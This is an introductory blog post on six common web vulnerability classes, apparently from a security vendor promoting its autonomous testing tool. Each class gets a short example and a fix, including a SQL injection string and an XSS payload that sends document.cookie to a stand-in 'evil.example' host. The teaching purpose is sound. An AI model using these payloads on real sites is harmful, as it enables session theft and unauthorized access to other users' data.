If you are new to security, the list of things that can go wrong with a web app feels endless. It is not. The same handful of mistakes show up again and again, and learning the most common web vulnerabilities first will explain the majority of real breaches you read about. This post walks through them in plain words, loosely following the OWASP Top 10, with a tiny example for each.
Why the most common web vulnerabilities matter more than the rare ones
Attackers are practical. They reach for the bugs that are easy to find and pay off fast, which is exactly why the most common web vulnerabilities keep topping every list. If you understand these six classes, you can spot a large share of the types of security vulnerabilities in any app you touch. Each one below comes with a short explanation, a small example, and a pointer to where it tends to hide.
The bugs that cause the most damage are rarely exotic. They are ordinary mistakes that nobody tested for.
Broken access control
This is when the app lets one user reach data or actions that should belong to someone else. The code checks that you are logged in, but forgets to check whether you are allowed to touch this specific thing.
A tiny example
Say a notes app shows your note at this URL:
GET /api/notes/1042
You change the number by hand:
GET /api/notes/1043
If the server returns someone else’s note, that is broken access control. The app trusted the ID in the request instead of checking that note 1043 belongs to you. This single class tops most surveys of the top 10 web vulnerabilities, and it is easy to miss because every screen looks fine when you test with your own account. If you want to go deeper, the access control category covers how these checks fail and how to test for them.
Injection
Injection happens when input from a user is mixed straight into a command, a query, or a template, so the input can change what that command does. The classic case is SQL injection.
A tiny example
Imagine a login query built by gluing strings together:
SELECT * FROM users WHERE email = '" + email + "'
A visitor types this into the email field:
' OR '1'='1
Now the query always matches, and the attacker is logged in as the first user in the table. The fix is to stop mixing data and code: use parameterized queries so input is always treated as a value, never as part of the command. The same idea applies to operating system commands and template engines. The injection and input category goes through the main flavors and the safe patterns that shut them down.
Cross site scripting (XSS)
XSS is injection aimed at the browser. The app takes input from one user and shows it to another without cleaning it, so the input runs as code in the victim’s browser.
A tiny example
A comment box lets you post this:
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
If the app prints comments back onto the page as raw HTML, every visitor who views that comment runs the script, and their session cookie is sent to the attacker. The fix is to escape output so <script> shows up as text, not as a tag, and to set cookies as HttpOnly so scripts cannot read them.
Authentication failures
This covers all the ways an app fails to confirm who someone really is. Weak passwords allowed, no limit on login attempts, password reset tokens that never expire, session IDs that are easy to guess.
A tiny example
An app sends a password reset link with a token in the URL:
https://acme-notes.example/reset?token=100024
The token is just a counter. An attacker requests a reset for their own account, sees token 100024, then tries 100023 and 100025 to hijack other accounts. Reset tokens should be long, random, single use, and short lived. While you are at it, rate limit login and reset endpoints so guessing is slow and noisy.
Security misconfiguration
Sometimes the code is fine and the setup is the problem. Default passwords left in place, debug mode on in production, a storage bucket set to public, an admin panel exposed to the internet, verbose errors that leak stack traces.
A tiny example
A server returns a detailed error on a bad request:
500 Internal Server Error DBException: connection failed for user 'root' at db-prod-01:5432 Stack trace: /app/services/billing.py line 88 ...
That message hands an attacker the database user, the host, the port, and a map of your code. The fix is to show users a generic error, log the detail privately, and turn off debug output before you ship. Misconfiguration is common because it lives in defaults and forgotten settings, not in any single line of code you wrote on purpose.
Business logic flaws
These are the bugs where every individual request is valid, but the sequence or the values break a rule the app assumed nobody would break. There is no special character to escape and no obvious payload. The flaw is in the logic itself.
A tiny example
A checkout flow charges a discount based on a quantity sent by the client:
POST /api/cart/add
{ "item": "license", "quantity": -3, "unit_price": 50 }
Nobody expected a negative quantity, so the total becomes a credit and the customer gets paid to order. Another version: applying the same single use coupon twice by sending two requests at the same moment, before the first one marks it as spent. Business logic flaws are hard for generic tools to catch because finding them means understanding what the app is supposed to do, then asking what happens when an assumption is false.
How these classes connect
Most real incidents are a chain, not a single bug. An attacker might use a small information leak from a misconfiguration to learn an internal URL, then use broken access control to read another tenant’s records, then a business logic flaw to escalate. Learning the most common security vulnerabilities as separate ideas is the start. Seeing how they combine is what makes someone good at the work.
- Broken access control: can I reach things that are not mine?
- Injection: is my input being treated as code?
- XSS: can my input run in someone else’s browser?
- Authentication failures: can the app be fooled about who I am?
- Security misconfiguration: is the setup leaking or wide open?
- Business logic flaws: what rule did the app assume I would never break?
Where to go from here
Pick one class and practice spotting it in a small app you control. Change an ID in a URL. Type a quote into a search box and watch the error. Send a negative number where a positive one is expected. The point is to build the habit of asking what the app assumes, then testing whether that assumption holds.
That last question, what does this app assume and what happens when the assumption is false, is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. UnboundCompute learns how an app is meant to work, forms ideas about where the logic could break, runs experiments, and proves a finding with concrete evidence before reporting it. If that approach interests you, read more on the about page.
